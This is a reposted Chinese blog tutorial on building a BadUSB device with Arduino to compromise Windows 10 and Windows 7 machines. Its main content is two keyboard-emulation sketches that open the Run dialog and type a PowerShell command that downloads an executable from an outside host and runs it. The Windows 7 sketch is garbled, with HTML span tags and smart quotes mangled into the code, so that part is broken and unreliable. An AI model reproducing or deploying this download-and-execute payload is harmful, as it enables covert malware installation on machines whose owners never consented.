badusb攻击windows10（msfconsole版）

最新推荐文章于 2025-08-29 18:01:33 发布

转载最新推荐文章于 2025-08-29 18:01:33 发布 · 1.5k 阅读

2 ·

CC 4.0 BY-SA版权

原文链接：https://blog.bbskali.cn/index.php/archives/806/

文章标签：

#windows #arduino #开发工具 #安全漏洞 #安全

Web安全专栏收录该内容

53 篇文章

订阅专栏

本文深入探讨了BadUSB攻击技术，介绍了如何使用Arduino进行BadUSB设备的制作，并提供了针对Windows 10系统的具体代码示例。同时，文章还讨论了在不同Windows版本下实施BadUSB攻击的差异。

准备

badusb
Arduino

下载软件

点击下载

运行软件

TIM截图20190305105048.png

在工具菜单中选择，选择badusb的端口和开发版。

TIM截图20190304122136.png

注入代码

windows10系统

#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'https://bbskali.cn/8888.exe';$file = ' %HOMEPATH%\\windows.exe ';$clnt.DownloadFile($url,$file);%HOMEPATH%\\windows.exe;");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);

}

void loop()//循环
{
}

windows7系统

#include <Keyboard.h>

void setup() {//初始化

Keyboard.begin();//开始键盘通讯

delay(5000);//延时

Keyboard.press(KEY_LEFT_GUI);//win键

delay(500);

Keyboard.press(‘r’);//r键

delay(500);

Keyboard.release(KEY_LEFT_GUI);

Keyboard.release(‘r’);

delay(500);

Keyboard.press(KEY_CAPS_LOCK);

Keyboard.release(KEY_CAPS_LOCK);

Keyboard.println(“CMD.EXE /t:01 /k MODE con: cols=16 lines=2”);

delay(1000);

Keyboard.println(“POWERSHELL -cOMMAND  $C L N T < / s p a n > = N E W - O B J E C T s Y S T E M . n E T . w E B c L I E N T; < s p a n c l a s s = " t o k e n v a r i a b l e " >$ URL= ‘https://bbskali.cn/8888.exe’; $c:\\X.EXE ';<span class="token variable">$ CLNT.dOWNLOADfILE( $U R L < / s p a n >, < s p a n c l a s s = " t o k e n v a r i a b l e " >$ FILE);”);

delay(3000);

Keyboard.println(“C:\X.EXE&EXIT”);

Keyboard.press(KEY_CAPS_LOCK);

Keyboard.release(KEY_CAPS_LOCK);

Keyboard.end();//结束键盘通讯

}

void loop()//循环

{

}